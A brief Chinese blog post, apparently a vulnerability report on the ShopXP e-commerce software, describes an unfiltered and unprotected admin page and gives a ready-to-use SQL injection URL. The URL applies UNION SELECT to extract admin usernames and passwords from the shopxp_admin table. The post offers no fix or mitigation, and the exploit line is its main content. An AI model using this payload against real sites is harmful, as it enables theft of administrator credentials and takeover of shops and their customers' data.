显示不全请点击全屏阅读
后台的xp.asp没有过滤啊，前台进行过滤。
但是这个文件忘了做权限设置
注射点
http://192.168.1.106/admin/pinglun.asp?id=71 UNION SELECT 1,2,admin,4,5,6,7,8,9,password,11 from shopxp_admin
作者：zpino
Tags：
shopxp漏洞, 漏洞播报,
如果您喜欢我的博客，欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你，也可微信扫下方二维码打赏本人一杯咖啡
